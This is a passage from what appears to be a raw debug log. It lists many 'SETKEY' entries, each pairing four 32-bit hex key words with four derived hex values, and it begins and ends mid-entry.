dwKeys[1] = FEA2CDB0, dwKeys[2] = E527AD8C, dwKeys[3] = 4262D995;-[0]=58965780,[1]=778F8B9E,[2]=BF2227B1,[3]=4F36F1FB; +SETKEY:dwKeys[0] = A6EB630B, dwKeys[1] = BAEE12C1, dwKeys[2] = 9E46B0FF, dwKeys[3] = E8686E1C;-[0]=7694A23E,[1]=598D7E20,[2]=9120D20F,[3]=61340445; +SETKEY:dwKeys[0] = 2E1A78B4, dwKeys[1] = D07CB2BA, dwKeys[2] = AEA77565, dwKeys[3] = D62B6292;-[0]=19C10EFC,[1]=36D8D2E2,[2]=FE757ECD,[3]=0E61A887; +SETKEY:dwKeys[0] = 1C242CB8, dwKeys[1] = E8C96F96, dwKeys[2] = 5A163570, dwKeys[3] = A3361B42;-[0]=AF8DD44B,[1]=80940855,[2]=4839A47A,[3]=B82D7230; +SETKEY:dwKeys[0] = EFC4CA8E, dwKeys[1] = B2E02436, dwKeys[2] = 7ECC3406, dwKeys[3] = BBC8FC65;-[0]=54F9322E,[1]=7BE0EE30,[2]=B34D421F,[3]=43599455; +SETKEY:dwKeys[0] = 24D46A7E, dwKeys[1] = 9F41D2FF, dwKeys[2] = 939D1FA8, dwKeys[3] = 3C3355AF;-[0]=266E401D,[1]=09779C03,[2]=C1DA302C,[3]=31CEE666; +SETKEY:dwKeys[0] = A7588337, dwKeys[1] = 363C1FEB, dwKeys[2] = 1A077292, dwKeys[3] = A28460F2;-[0]=2F592CBC,[1]=0040F0A2,[2]=C8ED5C8D,[3]=38F98AC7; +SETKEY:dwKeys[0] = 27502829, dwKeys[1] = 0C69A39F, dwKeys[2] = 73C4CEBE, dwKeys[3] = 584F5C0E;-[0]=C22BE308,[1]=ED323F16,[2]=259F9339,[3]=D58B4573; +SETKEY:dwKeys[0] = A3F4CEFE, dwKeys[1] = 6B281E29, dwKeys[2] = 935CC1FE, dwKeys[3] = 651D82B4;-[0]=9C9D1CD4,[1]=B384C0CA,[2]=7B296CE5,[3]=8B3DBAAF; +SETKEY:dwKeys[0] = 05003277, dwKeys[1] = 03ED5373, dwKeys[2] = E48EAFA9, dwKeys[3] = 914279F5;-[0]=AAF7EE86,[1]=85EE3298,[2]=4D439EB7,[3]=BD5748FD; +SETKEY:dwKeys[0] = B5DF0DCF, dwKeys[1] = 0DF7C0D6, dwKeys[2] = 172C8185, dwKeys[3] = 55B0185C;-[0]=998C9758,[1]=B6954B46,[2]=7E38E769,[3]=8E2C3123; +SETKEY:dwKeys[0] = 0D0F9260, dwKeys[1] = A16E3181, dwKeys[2] = 57FF7210, dwKeys[3] = 53C1CB0A;-[0]=DD75B10E,[1]=F26C6D10,[2]=3AC1C13F,[3]=CAD51775; +SETKEY:dwKeys[0] = EEFAE103, dwKeys[1] = 9C5ADE4E, dwKeys[2] = 58A94461, dwKeys[3] = 464FB26A;-[0]=746659C7,[1]=5B7F85D9,[2]=93D229F6,[3]=63C6FFBC; +SETKEY:dwKeys[0] = 47358188, dwKeys[1] = B778CBD0, dwKeys[2] = BB0E045D, dwKeys[3] = 5449115E;-[0]=0161D3CF,[1]=2E780FD1,[2]=E6D5A3FE,[3]=16C175B4; +SETKEY:dwKeys[0] = DFC3DE4F, dwKeys[1] = 6947E832, dwKeys[2] = C93EA723, dwKeys[3] = 7D63837D;-[0]=23B3554C,[1]=0CAA8952,[2]=C407257D,[3]=3413F337; +SETKEY:dwKeys[0] = 49D3E8C9, dwKeys[1] = 6431BC73, dwKeys[2] = E5B41752, dwKeys[3] = 58BE2F59;-[0]=162FEADC,[1]=393636C2,[2]=F19B9AED,[3]=018F4CA7; +SETKEY:dwKeys[0] = 723611F8, dwKeys[1] = 93F5FDDC, dwKeys[2] = F96ADE4D, dwKeys[3] = 7C87F76E;-[0]=0EEB1A1B,[1]=21F2C605,[2]=E95F6A2A,[3]=194BBC60; +SETKEY:dwKeys[0] = 6CAD13B2, dwKeys[1] = EA17D458, dwKeys[2] = 430923D5, dwKeys[3] = 3A4DEE71;-[0]=4D6B8879,[1]=62725467,[2]=AADFF848,[3]=5ACB2E02; +SETKEY:dwKeys[0] = 58A9F0B6, dwKeys[1] = 0C929FD2, dwKeys[2] = 3ED2E546, dwKeys[3] = 445A5F01;-[0]=910DEF6E,[1]=BE143370,[2]=76B99F5F,[3]=86AD4915; +SETKEY:dwKeys[0] = 6D2567EE, dwKeys[1] = B15A4247, dwKeys[2] = 972E0DB7, dwKeys[3] = 73679259;-[0]=62D0D003,[1]=4DC90C1D,[2]=8564A032,[3]=75707678; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = FAEE7394, dwKeys[1] = 98DA2D03, dwKeys[2] = A78D14D3, dwKeys[3] = 10200DD8;-[0]=2A508C28,[1]=05495036,[2]=CDE4FC19,[3]=3DF02A53; +SETKEY:dwKeys[0] = A3FC2EB1, dwKeys[1] = 383A220D, dwKeys[2] = D1D64604, dwKeys[3] = 412C4AAF;-[0]=2F740B63,[1]=006DD77D,[2]=C8C07B52,[3]=38D4AD18; +SETKEY:dwKeys[0] = 4DB20154, dwKeys[1] = 9888952C, dwKeys[2] = 96F0FB5F, dwKeys[3] = ACEC602C;-[0]=F5B85A84,[1]=DAA1869A,[2]=120C2AB5,[3]=E218FCFF; +SETKEY:dwKeys[0] = 1CD8F6EB, dwKeys[1] = FD214AEC, dwKeys[2] = 07ED70E1, dwKeys[3] = 26EC354F;-[0]=E55BD9D4,[1]=CA4205CA,[2]=02EFA9E5,[3]=F2FB7FAF; +SETKEY:dwKeys[0] = B73F3980, dwKeys[1] = FEDB205C, dwKeys[2] = 389ECF69, dwKeys[3] = 17AEB6B7;-[0]=4FE7020C,[1]=60FEDE12,[2]=A853723D,[3]=5847A477; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = A696ACF3, dwKeys[1] = 45524C7C, dwKeys[2] = 330604A9, dwKeys[3] = 2A92E680;-[0]=001D4590,[1]=2F04998E,[2]=E7A935A1,[3]=17BDE3EB; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 81D443D7, dwKeys[1] = A0D686CE, dwKeys[2] = 5867ABF3, dwKeys[3] = B0DACB6F;-[0]=598F986F,[1]=76964471,[2]=BE3BE85E,[3]=4E2F3E14; +SETKEY:dwKeys[0] = AAA4331D, dwKeys[1] = 121662DA, dwKeys[2] = FAC71750, dwKeys[3] = 4151DD12;-[0]=E425CD56,[1]=CB3C1148,[2]=0391BD67,[3]=F3856B2D; +SETKEY:dwKeys[0] = 358F3B9E, dwKeys[1] = BDBF3348, dwKeys[2] = B9F092EB, dwKeys[3] = 3D3B610B;-[0]=9F98A19F,[1]=B0817D81,[2]=782CD1AE,[3]=883807E4; +SETKEY:dwKeys[0] = 75D30504, dwKeys[1] = B2FC8540, dwKeys[2] = 1E2A0A71, dwKeys[3] = AEF0A4CB;-[0]=090F0EB3,[1]=2616D2AD,[2]=EEBB7E82,[3]=1EAFA8C8; +SETKEY:dwKeys[0] = A508E44B, dwKeys[1] = 6F2B44BF, dwKeys[2] = 878EE7DB, dwKeys[3] = 57A36D0C;-[0]=C76B9534,[1]=E872492A,[2]=20DFE505,[3]=D0CB334F; +SETKEY:dwKeys[0] = 82EB5731, dwKeys[1] = 972FB974, dwKeys[2] = A29ED20F, dwKeys[3] = 3AB4700E;-[0]=A1A3ECB4,[1]=8EBA30AA,[2]=46179C85,[3]=B6034ACF; +SETKEY:dwKeys[0] = A6C844D3, dwKeys[1] = 2E053413, dwKeys[2] = 61891270, dwKeys[3] = CA850744;-[0]=88122096,[1]=A70BFC88,[2]=6FA650A7,[3]=9FB286ED; +SETKEY:dwKeys[0] = DDFAB30E, dwKeys[1] = 3805EEC8, dwKeys[2] = 2FC710C6, dwKeys[3] = E57122A2;-[0]=E84B35CB,[1]=C752E9D5,[2]=0FFF45FA,[3]=FFEB93B0; +SETKEY:dwKeys[0] = F502CFBC, dwKeys[1] = BC08C97F, dwKeys[2] = DE7C4269, dwKeys[3] = 8A5362D8;-[0]=691ABC2E,[1]=46036030,[2]=8EAECC1F,[3]=7EBA1A55; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = 46EC8BB0, dwKeys[1] = 780D0061, dwKeys[2] = EA7084B0, dwKeys[3] = 879A501B;-[0]=EBE1401E,[1]=C4F89C00,[2]=0C55302F,[3]=FC41E665; +SETKEY:dwKeys[0] = 322BB57F, dwKeys[1] = A6C27636, dwKeys[2] = 84603FC4, dwKeys[3] = 5755D5F3;-[0]=68007758,[1]=4719AB46,[2]=8FB40769,[3]=7FA0D123; +SETKEY:dwKeys[0] = CF78B7A2, dwKeys[1] = 76A49850, dwKeys[2] = CE1BBD84, dwKeys[3] = 6FC2DB20;-[0]=7240DFFA,[1]=5D5903E4,[2]=95F4AFCB,[3]=65E07981; +SETKEY:dwKeys[0] = E918CA26, dwKeys[1] = B9A05F08, dwKeys[2] = 885B2CB3, dwKeys[3] = 4653B2C1;-[0]=D9F60395,[1]=F6EFDF8B,[2]=3E4273A4,[3]=CE56A5EE; +SETKEY:dwKeys[0] = D5E149E0, dwKeys[1] = E7F4A848, dwKeys[2] = 16014904, dwKeys[3] = 23DC2288;-[0]=DAE87B51,[1]=F5F1A74F,[2]=3D5C0B60,[3]=CD48DD2A; +SETKEY:dwKeys[0] = DBD76543, dwKeys[1] = 3FB9D43A, dwKeys[2] = C1FA1B8C, dwKeys[3] = 8B6E496D;-[0]=C890D0B8,[1]=E7890CA6,[2]=2F24A089,[3]=DF3076C3; +SETKEY:dwKeys[0] = A0F6B009, dwKeys[1] = 56975CFA, dwKeys[2] = 8A57802F, dwKeys[3] = 2CC4C88E;-[0]=95B143F0,[1]=BAA89FEE,[2]=720533C1,[3]=8211E58B; +SETKEY:dwKeys[0] = 58E41167, dwKeys[1] = 32CE80E8, dwKeys[2] = D9A1699C, dwKeys[3] = 57BF8254;-[0]=FBE21105,[1]=D4FBCD1B,[2]=1C566134,[3]=EC42B77E; +SETKEY:dwKeys[0] = 0DF16B80, dwKeys[1] = 53B0CD80, dwKeys[2] = 78CD6EB0, dwKeys[3] = 1A90DE21;-[0]=9E5B1741,[1]=B142CB5F,[2]=79EF6770,[3]=89FBB13A; +SETKEY:dwKeys[0] = 4698C562, dwKeys[1] = 6CB9E741, dwKeys[2] = F98D5377, dwKeys[3] = 3674C112;-[0]=CDEF10BD,[1]=E2F6CCA3,[2]=2A5B608C,[3]=DA4FB6C6; +SETKEY:dwKeys[0] = 82CD441F, dwKeys[1] = CA805ACC, dwKeys[2] = A1E92F71, dwKeys[3] = 23E8605E;-[0]=7A73FB57,[1]=556A2749,[2]=9DC78B66,[3]=6DD35D2C; +SETKEY:dwKeys[0] = B612A044, dwKeys[1] = 349253F6, dwKeys[2] = DEC9BDB3, dwKeys[3] = E4E8E6C1;-[0]=977722F2,[1]=B86EFEEC,[2]=70C352C3,[3]=80D78489; +SETKEY:dwKeys[0] = 5F468EC0, dwKeys[1] = 8BEBADF2, dwKeys[2] = 5D495C9F, dwKeys[3] = 461CEC82;-[0]=7F076CC8,[1]=501EB0D6,[2]=98B31CF9,[3]=68A7CAB3; +SETKEY:dwKeys[0] = 3D681AD6, dwKeys[1] = 09EECF86, dwKeys[2] = BF61D31D, dwKeys[3] = 6F332E5F;-[0]=6E774D8A,[1]=416E9194,[2]=89C33DBB,[3]=79D7EBF1; +SETKEY:dwKeys[0] = 6004155C, dwKeys[1] = 740745D9, dwKeys[2] = 617E2E0A, dwKeys[3] = EDD4FEA2;-[0]=5DEFAB93,[1]=72F6778D,[2]=BA5BDBA2,[3]=4A4F0DE8; +SETKEY:dwKeys[0] = 03D777BE, dwKeys[1] = 7D212896, dwKeys[2] = 6944A1AE, dwKeys[3] = 162F1727;-[0]=9B860F24,[1]=B49FD33A,[2]=7C327F15,[3]=8C26A95F; +SETKEY:dwKeys[0] = D686BC74, dwKeys[1] = 0B8887A3, dwKeys[2] = AA733AD1, dwKeys[3] = 23FD40F5;-[0]=F3D86BE1,[1]=DCC1B7FF,[2]=146C1BD0,[3]=E478CD9A; +SETKEY:dwKeys[0] = BD251065, dwKeys[1] = 9069A5C2, dwKeys[2] = 2DE47C90, dwKeys[3] = 07C9F4F0;-[0]=F9B38718,[1]=D6AA5B06,[2]=1E07F729,[3]=EE132163; +SETKEY:dwKeys[0] = C7D0EDFF, dwKeys[1] = 7FE61107, dwKeys[2] = A55B225A, dwKeys[3] = 3B2D76A2;-[0]=6E8CA8AE,[1]=419574B0,[2]=8938D89F,[3]=792C0ED5; +SETKEY:dwKeys[0] = 7FA2DA37, dwKeys[1] = E54C2CA1, dwKeys[2] = BA902F1E, dwKeys[3] = 1D501C4C;-[0]=8134D024,[1]=AE2D0C3A,[2]=6680A015,[3]=9694765F; +SETKEY:dwKeys[0] = B731DDD2, dwKeys[1] = 165B00D4, dwKeys[2] = 221C66A8, dwKeys[3] = 1A847AAE;-[0]=896FD649,[1]=A6760A57,[2]=6EDBA678,[3]=9ECF7032; +SETKEY:dwKeys[0] = 7C6E01B2, dwKeys[1] = 30368C2E, dwKeys[2] = 1403A5BF, dwKeys[3] = 42CC1829;-[0]=702FFC7E,[1]=5F362060,[2]=979B8C4F,[3]=678F5A05; +SETKEY:dwKeys[0] = A9373C95, dwKeys[1] = 11AACB2C, dwKeys[2] = F2818045, dwKeys[3] = A2A94ABE;-[0]=90889C9F,[1]=BF914081,[2]=773CECAE,[3]=87283AE4; +SETKEY:dwKeys[0] = 1397BC87, dwKeys[1] = FCD4C772, dwKeys[2] = 11362714, dwKeys[3] = 5D75A807;-[0]=5DB2B453,[1]=72AB684D,[2]=BA06C462,[3]=4A121228; +SETKEY:dwKeys[0] = C4AA6434, dwKeys[1] = 3995370D, dwKeys[2] = E07FBB4D, dwKeys[3] = CC4C92CF;-[0]=57B28B76,[1]=78AB5768,[2]=B006FB47,[3]=40122D0D; +SETKEY:dwKeys[0] = 5DBBE717, dwKeys[1] = F6F5209F, dwKeys[2] = 461E4911, dwKeys[3] = 8A85EAB6;-[0]=74EAA347,[1]=5BF37F59,[2]=935ED376,[3]=634A053C; +SETKEY:dwKeys[0] = BD1D5FA1, dwKeys[1] = 5CE2B791, dwKeys[2] = 307137F1, dwKeys[3] = D35D9BD5;-[0]=C504A311,[1]=EA1D7F0F,[2]=22B0D320,[3]=D2A4056A; +SETKEY:dwKeys[0] = 28808CAA, dwKeys[1] = 1F8D7B3D, dwKeys[2] = 8E4665B6, dwKeys[3] = EB182EF7;-[0]=91E945BA,[1]=BEF099A4,[2]=765D358B,[3]=8649E3C1; +SETKEY:dwKeys[0] = 4DE485E5, dwKeys[1] = 2B52D216, dwKeys[2] = A9A8DE98, dwKeys[3] = 23AD701C;-[0]=B6DFF3B3,[1]=99C62FAD,[2]=516B8382,[3]=A17F55C8; +SETKEY:dwKeys[0] = 26C9C6EC, dwKeys[1] = E753D5D4, dwKeys[2] = 789DF3F2, dwKeys[3] = F06E34C2;-[0]=40910F43,[1]=6F88D35D,[2]=A7257F72,[3]=5731A938; +SETKEY:dwKeys[0] = 4C518929, dwKeys[1] = E91673A5, dwKeys[2] = B2C48039, dwKeys[3] = FAB48DC0;-[0]=3E2D6328,[1]=1134BF36,[2]=D9991319,[3]=298DC553; +SETKEY:dwKeys[0] = DE03E3FF, dwKeys[1] = 9BC58C5B, dwKeys[2] = 2B0D266F, dwKeys[3] = BB45956A;-[0]=9863B1C7,[1]=B77A6DD9,[2]=7FD7C1F6,[3]=8FC317BC; +SETKEY:dwKeys[0] = 4C5B50FB, dwKeys[1] = D190A7BD, dwKeys[2] = 5DB891A9, dwKeys[3] = C77B540B;-[0]=9D564B2B,[1]=B24F9735,[2]=7AE23B1A,[3]=8AF6ED50; +SETKEY:dwKeys[0] = BB088326, dwKeys[1] = D939CB10, dwKeys[2] = 05BCFF2C, dwKeys[3] = 4030C893;-[0]=A64C5267,[1]=89558E79,[2]=41F82256,[3]=B1ECF41C; +SETKEY:dwKeys[0] = 211D0690, dwKeys[1] = A83EC479, dwKeys[2] = 83B986FA, dwKeys[3] = C984AEB6;-[0]=4F4D93BF,[1]=60544FA1,[2]=A8F9E38E,[3]=58ED35C4; +SETKEY:dwKeys[0] = DD070AAD, dwKeys[1] = A0EAF605, dwKeys[2] = 3291E88F, dwKeys[3] = D635027A;-[0]=139DE699,[1]=3C843A87,[2]=F42996A8,[3]=043D40E2; +SETKEY:dwKeys[0] = 9ABCADF3, dwKeys[1] = ED1E97AC, dwKeys[2] = 02C656DC, dwKeys[3] = 7C9AB741;-[0]=145C6CBA,[1]=3B45B0A4,[2]=F3E81C8B,[3]=03FCCAC1; +SETKEY:dwKeys[0] = D00AD77F, dwKeys[1] = 0BEEE767, dwKeys[2] = 2F8B9E24, dwKeys[3] = 8FF2B41F;-[0]=5A432BCE,[1]=755AF7D0,[2]=BDF75BFF,[3]=4DE38DB5; +SETKEY:dwKeys[0] = 163ACDF7, dwKeys[1] = CC890F89, dwKeys[2] = 35236F8A, dwKeys[3] = 83D1FF97;-[0]=2890DCD2,[1]=078900CC,[2]=CF24ACE3,[3]=3F307AA9; +SETKEY:dwKeys[0] = 602ECC61, dwKeys[1] = 9F92D491, dwKeys[2] = 6B224CFF, dwKeys[3] = 78C12A57;-[0]=0B6E1C1C,[1]=2477C002,[2]=ECDA6C2D,[3]=1CCEBA67; +SETKEY:dwKeys[0] = 9B89A716, dwKeys[1] = EF89B893, dwKeys[2] = 1EE16CF9, dwKeys[3] = 81A9F25E;-[0]=CFE95D75,[1]=E0F0816B,[2]=285D2D44,[3]=D849FB0E; +SETKEY:dwKeys[0] = 19DFCBDE, dwKeys[1] = D84888CA, dwKeys[2] = 9FC4CA55, dwKeys[3] = ED45628D;-[0]=7203591B,[1]=5D1A8505,[2]=95B7292A,[3]=65A3FF60; +SETKEY:dwKeys[0] = 1B557B45, dwKeys[1] = FD178EF6, dwKeys[2] = 25EB3A76, dwKeys[3] = 12C5718D;-[0]=04173D15,[1]=2B0EE10B,[2]=E3A34D24,[3]=13B79B6E; +SETKEY:dwKeys[0] = 9982D882, dwKeys[1] = 54F83063, dwKeys[2] = 0BFE588E, dwKeys[3] = 31A75D17;-[0]=66CA87C4,[1]=49D35BDA,[2]=817EF7F5,[3]=716A21BF; +SETKEY:dwKeys[0] = DAAEABD9, dwKeys[1] = 184A1B18, dwKeys[2] = 8F2DFD83, dwKeys[3] = 1E6E3B6E;-[0]=3F313E84,[1]=1028E29A,[2]=D8854EB5,[3]=289198FF; +SETKEY:dwKeys[0] = B6D11C91, dwKeys[1] = 1AD7C0BF, dwKeys[2] = F5FDE4B0, dwKeys[3] = 10AA840A;-[0]=643B054A,[1]=4B22D954,[2]=838F757B,[3]=739BA331; +SETKEY:dwKeys[0] = 1FB5918D, dwKeys[1] = 3125D763, dwKeys[2] = 0997438D, dwKeys[3] = 0DD0F91F;-[0]=61DDAA04,[1]=4EC4761A,[2]=8669DA35,[3]=767D0C7F; +SETKEY:dwKeys[0] = 6646A921, dwKeys[1] = 2291B7C4, dwKeys[2] = 94F91590, dwKeys[3] = 88AE3591;-[0]=DD1428B0,[1]=F20DF4AE,[2]=3AA05881,[3]=CAB48ECB; +SETKEY:dwKeys[0] = BD271C49, dwKeys[1] = 0765DB95, dwKeys[2] = D9305F72, dwKeys[3] = 465D858A;-[0]=30BD112C,[1]=1FA4CD32,[2]=D709611D,[3]=271DB757; +SETKEY:dwKeys[0] = 4A53746E, dwKeys[1] = 843BDF55, dwKeys[2] = 33CECB69, dwKeys[3] = 644D7933;-[0]=55663D8B,[1]=7A7FE195,[2]=B2D24DBA,[3]=42C69BF0; +SETKEY:dwKeys[0] = A5D1A81E, dwKeys[1] = 81ECF8EA, dwKeys[2] = 5DB09EE1, dwKeys[3] = 13AAEBFE;-[0]=EC15B408,[1]=C30C6816,[2]=0BA1C439,[3]=FBB51273; +SETKEY:dwKeys[0] = AFA36476, dwKeys[1] = 992D5089, dwKeys[2] = 7CE67E2A, dwKeys[3] = F37BAD40;-[0]=8E04984F,[1]=A11D4451,[2]=69B0E87E,[3]=99A43E34; +SETKEY:dwKeys[0] = E52B0363, dwKeys[1] = 7DFB4AC4, dwKeys[2] = 941F9B22, dwKeys[3] = A801BAD0;-[0]=64D2CAF2,[1]=4BCB16EC,[2]=8366BAC3,[3]=73726C89; +SETKEY:dwKeys[0] = D8B25D32, dwKeys[1] = A07CB17C, dwKeys[2] = 3D122E50, dwKeys[3] = 7215A938;-[0]=7FD7C0FB,[1]=50CE1CE5,[2]=9863B0CA,[3]=68776680; +SETKEY:dwKeys[0] = F4C7DAD5, dwKeys[1] = 48FD4ABA, dwKeys[2] = 0722CA52, dwKeys[3] = 1DC00255;-[0]=9BE402E7,[1]=B4FDDEF9,[2]=7C5072D6,[3]=8C44A49C; +SETKEY:dwKeys[0] = 70BA2ED7, dwKeys[1] = 596E0BE2, dwKeys[2] = 7E92FD0D, dwKeys[3] = 5691A082;-[0]=3F6DD5F3,[1]=107409ED,[2]=D8D9A5C2,[3]=28CD7388; +SETKEY:dwKeys[0] = 3FC6AFD8, dwKeys[1] = 33534DA5, dwKeys[2] = 7AC4DA84, dwKeys[3] = 56057029;-[0]=ECBB6B96,[1]=C3A2B788,[2]=0B0F1BA7,[3]=FB1BCDED; +SETKEY:dwKeys[0] = 2ACEB416, dwKeys[1] = 1E46EDB7, dwKeys[2] = 75D4EF3A, dwKeys[3] = 182E13AC;-[0]=13A05A7C,[1]=3CB98662,[2]=F4142A4D,[3]=0400FC07; +SETKEY:dwKeys[0] = B0872F12, dwKeys[1] = D051C6D4, dwKeys[2] = 9F59A54D, dwKeys[3] = 0F06A10C;-[0]=E6BDC80B,[1]=C9A41415,[2]=0109B83A,[3]=F11D6E70; +SETKEY:dwKeys[0] = 0346EAB3, dwKeys[1] = D083D810, dwKeys[2] = D4E4151C, dwKeys[3] = 0102F74A;-[0]=43E0B1DC,[1]=6CF96DC2,[2]=A454C1ED,[3]=544017A7; +SETKEY:dwKeys[0] = 574EDB37, dwKeys[1] = 09A95CF0, dwKeys[2] = 813F139D, dwKeys[3] = 597A67CC;-[0]=47848797,[1]=689D5B89,[2]=A030F7A6,[3]=502421EC; +SETKEY:dwKeys[0] = ED053BA9, dwKeys[1] = D72211EC, dwKeys[2] = B1FA6BB2, dwKeys[3] = 9C18BCAB;-[0]=CD63AC91,[1]=E27A708F,[2]=2AD7DCA0,[3]=DAC30AEA; +SETKEY:dwKeys[0] = 5D6ECC6A, dwKeys[1] = E0DFB295, dwKeys[2] = 295E1870, dwKeys[3] = 134CF704;-[0]=01131FF8,[1]=2E0AC3E6,[2]=E6A76FC9,[3]=16B3B983; +SETKEY:dwKeys[0] = 21C2E1C9, dwKeys[1] = 3A6DF9BC, dwKeys[2] = 4B54A176, dwKeys[3] = A49B6AFB;-[0]=6011F6DB,[1]=4F082AC5,[2]=87A586EA,[3]=77B150A0; +SETKEY:dwKeys[0] = 0A5DEF5E, dwKeys[1] = C58CB7B3, dwKeys[2] = 742E8CAF, dwKeys[3] = 9E9DA34A;-[0]=3E491934,[1]=1150C52A,[2]=D9FD6905,[3]=29E9BF4F; +SETKEY:dwKeys[0] = 0D1035E9, dwKeys[1] = 99363333, dwKeys[2] = 4F9AA080, dwKeys[3] = 2D71F9F3;-[0]=8444968A,[1]=AB5D4A94,[2]=63F0E6BB,[3]=93E430F1; +SETKEY:dwKeys[0] = B8B9B04E, dwKeys[1] = A057A957, dwKeys[2] = 395AD1F8, dwKeys[3] = 07ED9901;-[0]=8CD13C15,[1]=A3C8E00B,[2]=6B654C24,[3]=9B719A6E; +SETKEY:dwKeys[0] = 4DFF58A0, dwKeys[1] = 7612803A, dwKeys[2] = 10CDE656, dwKeys[3] = C42067B5;-[0]=DC2C1D77,[1]=F335C169,[2]=3B986D46,[3]=CB8CBB0C; +SETKEY:dwKeys[0] = EDFF5EAB, dwKeys[1] = 0B4277BD, dwKeys[2] = B48BB8A2, dwKeys[3] = C6C162B3;-[0]=B3477636,[1]=9C5EAA28,[2]=54F30607,[3]=A4E7D04D; +SETKEY:dwKeys[0] = E64B2E72, dwKeys[1] = CADA71C8, dwKeys[2] = 7196BF47, dwKeys[3] = 7D179586;-[0]=ADFF3206,[1]=82E6EE18,[2]=4A4B4237,[3]=BA5F947D; +SETKEY:dwKeys[0] = C099C24D, dwKeys[1] = 50D5D7E0, dwKeys[2] = F9106937, dwKeys[3] = 1DEF8960;-[0]=8CA9E462,[1]=A3B0387C,[2]=6B1D9453,[3]=9B094219; +SETKEY:dwKeys[0] = 13B503CB, dwKeys[1] = 87A43C6F, dwKeys[2] = 3F38AB2D, dwKeys[3] = 0AE8C796;-[0]=E893A294,[1]=C78A7E8A,[2]=0F27D2A5,[3]=FF3304EF; +SETKEY:dwKeys[0] = A261AD2E, dwKeys[1] = 47541231, dwKeys[2] = EEF6F690, dwKeys[3] = C250201C;-[0]=72AC28EE,[1]=5DB5F4F0,[2]=951858DF,[3]=650C8E95; +SETKEY:dwKeys[0] = 7E9AB88C, dwKeys[1] = F941C313, dwKeys[2] = A15C496C, dwKeys[3] = 746A326D;-[0]=11766D81,[1]=3E6FB19F,[2]=F6C21DB0,[3]=06D6CBFA; +SETKEY:dwKeys[0] = 625AD799, dwKeys[1] = 3BEC6C14, dwKeys[2] = 99AB755E, dwKeys[3] = 9E85C5F5;-[0]=B2EE18EA,[1]=9DF7C4F4,[2]=555A68DB,[3]=A54EBE91; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 00000000, dwKeys[1] = 00000000, dwKeys[2] = 00000000, dwKeys[3] = 00000000;-[0]=0D46614F,[1]=843AE38F,[2]=393DAE7D,[3]=5B58EEA3; +SETKEY:dwKeys[0] = 29DD954E, dwKeys[1] = 77C39CFC, dwKeys[2] = 97ADB620, dwKeys[3] = 07BDE0F7;-[0]=00000000,[1]=00000000,[2]=00000000,[3]=00010053; +SETKEY:dwKeys[0] = D4E2BC59, dwKeys[1] = A2DD8A72, dwKeys[2] = 4930F009, dwKeys[3] = B8EB873A;-[0]=D76CC130,[1]=F8751D2E,[2]=30D8B101,[3]=C0CC674B; +SETKEY:dwKeys[0] = 7799DDBB, dwKeys[1] = 9EAD329E, dwKeys[2] = E9138A3C, dwKeys[3] = 17970973;-[0]=6BE210CD,[1]=44FBCCD3,[2]=8C5660FC,[3]=7C42B6B6; +SETKEY:dwKeys[0] = 3BBE31FE, dwKeys[1] = 3897ADD1, dwKeys[2] = D124385C, dwKeys[3] = 1AC3D105;-[0]=3021044B,[1]=1F38D855,[2]=D795747A,[3]=2781A230; +SETKEY:dwKeys[0] = B7A8F55A, dwKeys[1] = E6B801A4, dwKeys[2] = C0B5D7CE, dwKeys[3] = 